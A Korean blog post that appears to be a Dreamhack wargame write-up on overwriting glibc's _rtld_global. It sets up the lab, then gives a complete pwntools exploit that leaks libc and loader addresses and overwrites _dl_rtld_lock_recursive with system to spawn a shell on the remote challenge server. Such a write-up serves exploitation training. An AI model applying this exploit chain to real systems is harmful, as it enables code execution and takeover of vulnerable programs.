Dreamhack/Pwnable 문제 풀이

[Pwnable Advanced] Exploit Tech: overwrite _rtld_global

seobangwool 2026. 4. 16. 22:53

Ubuntu 18.04 64-bit(Glibc 2.27) 실습 환경 Dockerfile

FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
    gcc \
    git \
    python3 \
    python3-pip \
    ruby \
    sudo \
    tmux \
    vim \
    wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget -v 1.6.2
# install patchelf
WORKDIR /root
RUN apt install -y dh-autoreconf
RUN git clone https://github.com/NixOS/patchelf
WORKDIR /root/patchelf
RUN git checkout 0.17.2
RUN ./bootstrap.sh
RUN ./configure
RUN make
RUN make check
RUN sudo make install
WORKDIR /root
CONTAINER_NAME=my_container; \
docker build . -t ubuntu1804; \
docker run -d -t --privileged --name=$CONTAINER_NAME ubuntu1804; \
docker exec -it -u root $CONTAINER_NAME bash

ow_rtld.c

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
          return 0;
    }
  }
  return 0;
}
root@c6d07003e850:~/rtld_global# pwn checksec ow_rtld
[*] '/root/rtld_global/ow_rtld'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

코드 분석

일단 모든 보호기법이 다 적용되어있다.
대신 실행을 시켜보면, 아래 처럼 stdout 주소를 알려준다.

root@c6d07003e850:~/rtld_global# ./ow_rtld
stdout: 0x7cb3063b7760
>

그러면 당연히 libc의 베이스 주소도 나올거다.

그리고 원하는 주소에 값을 써버릴 수 있는 모든게 가능해져버리는 코드가 있다.
아무래도 rtld global 구조체를 조작하기를 위해 만들어둔 코드이지 않을까싶다.

 

환경 맞추기

로더를 건드리길 결심했으니까 먼저 제공된 로더 파일과 실습환경의 로더 파일이 같은지 확인해야한다.

 

image (31)

root@c6d07003e850:~/rtld_global# md5sum ld-2.27.so
ecedcc8d1cac4f344f2e2d0564ff67ab  ld-2.27.so

root@c6d07003e850:~/rtld_global# md5sum /lib64/ld-linux-x86-64.so.2
bd1331eea9e034eb3d661990e25037b7  /lib64/ld-linux-x86-64.so.2

root@c6d07003e850:~/rtld_global# readelf -s ld-2.27.so | grep " _rtld_global@"
    25: 0000000000228060  3960 OBJECT  GLOBAL DEFAULT   21 _rtld_global@@GLIBC_PRIVATE

root@c6d07003e850:~/rtld_global# readelf -s /lib64/ld-linux-x86-64.so.2 | grep " _rtld_global@"
    25: 000000000022a060  3960 OBJECT  GLOBAL DEFAULT   21 _rtld_global@@GLIBC_PRIVATE

이렇게 파일의 해시값도 다르고 오프셋도 다르기 때문에 patchelf 툴을 활용해 맞춰줘야한다.

vmmap 으로 살펴보면

image (32)

/lib/x86_64-linux-gnu/ld-2.27.so의 로더 파일을 사용하는 것이 보인다.
이걸 문제에서 제공한 /root/rtld_global/ld-2.27.so로 바꿔야한다.

 

patchelf로 패치

patchelf --set-interpreter ./ld-2.27.so ./ow_rtld

위 명령어를 쳐준 뒤 다시 vmmap 으로 보면

image (33)

이렇게 바뀐 걸 볼 수 있다.

 

image (34)

이제 주어지는 stdout 으로 libc 베이스 주소를 구할 수 있기때문에 libc 베이스에서 로더사이의 오프셋을 구해준다.

0x3f1000 인 것을 알아냈다

그럼 이제 로더와 libc 의 베이스주소를 구하는 익스플로잇 코드를 짜보자.

 

베이스 주소 릭 익스플로잇 코드

from pwn import *
p = process('./ow_rtld')
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc_base..', hex(libc_base))
print('ld_base..', hex(ld_base))
p.interactive()

image (35)

 

이제 _rtld_global 주소를 계산해주어야 한다.

그러기 위해선 _rtld_global 구조체에 대한 모든 정보를 담고 있는 디버깅 심볼이 필요하다.
먼저 glibc 버전을 알아내준다.

root@c6d07003e850:~/rtld_global# ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

실행 첫 라인에 저렇게 glibc 상세 버전이 뜬다.
이제 이걸 구글링해서 다운로드 해준다.

wget http://launchpadlibrarian.net/365856914/libc6-dbg_2.27-3ubuntu1_amd64.deb

 

image (36)

root@c6d07003e850:~/rtld_global# gdb usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so
pwndbg> p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x228968 <_rtld_local+2312>
pwndbg> p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x228f60 <_rtld_local+3840>

이렇게 생긴 usr 폴더 내에 usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 이 파일을 gdb로 오프셋을 얻을 수 있다.

 

image (37)

이제 이걸로 필요한 주소를 계산할 수 있다.

  • _dl_load_lock_rtld_global +2312
  • _dl_rtld_lock_recursive_rtld_global + 3840

이제 _rtld_global까지 조작해주면 (_dl_rtld_lock_recursivesystem 으로) 끝이다.

 

최종 익스플로잇 코드

from pwn import *

#p = process('./ow_rtld')
p = remote('host1.dreamhack.games', 18761)

libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')

p.recvuntil(b': ')

stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

print('libc_base..', hex(libc_base))
print('ld_base..', hex(ld_base))

rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))

system = libc_base + libc.symbols['system']

print('system..', hex(system))

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')

p.interactive()

 

image

이렇게 답이 나온다.